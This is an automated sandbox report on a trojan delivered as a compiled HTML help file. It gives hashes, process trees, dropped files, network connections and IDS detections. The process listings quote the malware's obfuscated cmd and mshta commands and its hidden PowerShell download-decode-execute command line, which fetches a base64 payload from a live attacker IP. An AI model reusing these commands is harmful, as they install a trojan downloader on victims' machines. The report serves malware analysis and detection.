File name:

Dopolnenie_CBR.chm.Z

Full analysis: https://app.any.run/tasks/d750e717-4976-4417-b9df-d8b59782e2bb
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Analysis date: November 15, 2018, 08:52:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
Indicators:
MIME: application/x-compress
File info: compress'd data 16 bits
MD5:

16A697C5F413E4DBE994BE8EBB29F474

SHA1:

33CB0004730FA08E8E1E369DB6BA6ADE3FBC76F2

SHA256:

AD30C94617791F1A743B5DCBE7C982FCCC101BF29A83DDEAC3807D1EC497C697

SSDEEP:

192:zKHXBSMTlwuPfKWGpLGh/hpnXM+Gd4+fRHBZJKiPeCf:zKRSMT3KWGpLGza9dNRHrJKCeCf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • cmd.exe (PID: 3984)
      • cmd.exe (PID: 1104)
      • priprhff.com (PID: 1104)
      • priprhff.com (PID: 2928)
      • priprhf.com (PID: 3148)
      • priprh.com (PID: 2680)
      • cmd.exe (PID: 2412)
    • Changes the autorun value in the registry

      • priprh.com (PID: 2680)
  • SUSPICIOUS

    • Reads internet explorer settings

      • hh.exe (PID: 3704)
    • Reads Internet Cache Settings

      • hh.exe (PID: 3704)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 1104)
    • Starts CMD.EXE for commands execution

      • hh.exe (PID: 3704)
      • mshta.exe (PID: 4076)
      • priprh.com (PID: 2680)
    • Starts application with an unusual extension

      • cmd.exe (PID: 3984)
      • priprhff.com (PID: 2928)
      • priprhf.com (PID: 3148)
    • Executable content was dropped or overwritten

      • cmd.exe (PID: 3984)
      • priprhf.com (PID: 3148)
      • priprh.com (PID: 2680)
    • Creates files in the user directory

      • priprh.com (PID: 2680)
    • Uses SYSTEMINFO.EXE to read environment

      • cmd.exe (PID: 2412)
    • Creates files in the program directory

      • cmd.exe (PID: 2412)
  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 4076)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z | UNIX Compressed data (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
11
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start winrar.exe no specs hh.exe no specs cmd.exe no specs mshta.exe cmd.exe priprhff.com no specs priprhff.com no specs priprhf.com priprh.com cmd.exe no specs systeminfo.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1104"C:\Windows\System32\cmd.exe" ,/b,^, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/C,, st%ALLUSERSPROFILE:~8,1%rt msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.72.139/liC:\Windows\System32\cmd.exehh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1104C:\Users\admin\AppData\Local\Temp\\priprhff.com /c C:\Users\admin\AppData\Local\Temp\priprhff.comcmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\msctf.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\kernelbase.dll
c:\systemroot\system32\ntdll.dll
c:\users\admin\appdata\local\temp\priprhff.com
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
2412"C:\Windows\System32\cmd.exe" /C systeminfo >> C:\ProgramData\INFOCONTENT.TXTC:\Windows\System32\cmd.exepriprh.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2680"C:\Users\admin\AppData\Local\Temp\priprh.com"C:\Users\admin\AppData\Local\Temp\priprh.com
priprhf.com
User:
admin
Company:
MS DefenderApplication
Integrity Level:
MEDIUM
Description:
MS DefenderApplicationController
Exit code:
0
Version:
2.0.4.9
Modules
Images
c:\users\admin\appdata\local\temp\priprh.com
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winspool.drv
2908systeminfo C:\Windows\system32\systeminfo.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Displays system information
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\systeminfo.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2928C:\Users\admin\AppData\Local\Temp\\priprhff.com /c C:\Users\admin\AppData\Local\Temp\\priprhf.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('HtTp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\priprh.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\priprh.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\priprh.com $sv; C:\Users\admin\AppData\Local\Temp\\priprh.com;C:\Users\admin\AppData\Local\Temp\priprhff.comcmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\appdata\local\temp\priprhff.com
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3148C:\Users\admin\AppData\Local\Temp\\priprhf.com -nop -W hidden -noninteractive -c (new-object System.Net.WebClient).Downloadfile('HtTp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\priprh.txt'); $sr=Get-Content -Encoding Byte C:\Users\admin\AppData\Local\Temp\\priprh.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content -Encoding Byte C:\Users\admin\AppData\Local\Temp\\priprh.com $sv; C:\Users\admin\AppData\Local\Temp\\priprh.com;C:\Users\admin\AppData\Local\Temp\priprhf.com
priprhff.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\temp\priprhf.com
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3260"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Dopolnenie_CBR.chm.Z"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3704"C:\Windows\hh.exe" C:\Users\admin\AppData\Local\Temp\Rar$DIa3260.47850\Dopolnenie_CBR.chmC:\Windows\hh.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® HTML Help Executable
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\hh.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\hhctrl.ocx
c:\windows\system32\gdi32.dll
3984"C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe C:\Users\admin\AppData\Local\Temp\\priprhff.com && C:\Users\admin\AppData\Local\Temp\\priprhff.com /c &Set skk= -Encoding&& Set ski= Byte && Set asidfjhfwssss=den -n%ALLUSERSPROFILE:~5,1%ninter&&Set asidfjhfwsss=-n%ALLUSERSPROFILE:~5,1%p -W hid&& Set asidfjhfwsssss=active -c (new-%ALLUSERSPROFILE:~5,1%bj&& Set asidfjhfwss=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set asidfjhfwsssssssssssssss=adfile& copy C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\pOWErsheLl.ExE C:\Users\admin\AppData\Local\Temp\\priprhf.com& C:\Users\admin\AppData\Local\Temp\\priprhff.com /c C:\Users\admin\AppData\Local\Temp\\priprhf.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('Ht^Tp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\priprh.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\priprh.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\priprh.com $sv; C:\Users\admin\AppData\Local\Temp\\priprh.com;C:\Windows\System32\cmd.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
986
Read events
888
Write events
98
Delete events
0

Modification events

(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3260) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Dopolnenie_CBR.chm.Z
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3260) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:@C:\Windows\System32\hhctrl.ocx,-452
Value:
Compiled HTML Help file
(PID) Process:(3260) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
4
Suspicious files
0
Text files
3
Unknown types
1

Dropped files

PID
Process
Filename
Type
4076mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\li[1]html
MD5:
SHA256:
3260WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa3260.47850\Dopolnenie_CBR.chmchi
MD5:
SHA256:
3148priprhf.comC:\Users\admin\AppData\Local\Temp\priprh.txttext
MD5:
SHA256:
2412cmd.exeC:\ProgramData\INFOCONTENT.TXTtext
MD5:
SHA256:
3148priprhf.comC:\Users\admin\AppData\Local\Temp\priprh.comexecutable
MD5:
SHA256:
3984cmd.exeC:\Users\admin\AppData\Local\Temp\priprhf.comexecutable
MD5:92F44E405DB16AC55D97E3BFE3B132FA
SHA256:6C05E11399B7E3C8ED31BAE72014CF249C144A8F4A2C54A758EB2E6FAD47AEC7
2680priprh.comC:\Users\admin\AppData\Roaming\conhost.exe 1C9B74E8.exeexecutable
MD5:
SHA256:
3984cmd.exeC:\Users\admin\AppData\Local\Temp\priprhff.comexecutable
MD5:AD7B9C14083B52BC532FBA5948342B98
SHA256:17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4076
mshta.exe
GET
200
146.0.72.139:80
http://146.0.72.139/li
NL
html
2.93 Kb
suspicious
3148
priprhf.com
GET
200
146.0.72.139:80
http://146.0.72.139/flk
NL
text
136 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4076
mshta.exe
146.0.72.139:80
Hostkey B.v.
NL
suspicious
3148
priprhf.com
146.0.72.139:80
Hostkey B.v.
NL
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
3148
priprhf.com
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
3148
priprhf.com
A Network Trojan was detected
ET TROJAN Windows executable base64 encoded
3148
priprhf.com
Misc activity
POLICY [PTsecurity] Executable base64 Payload
No debug info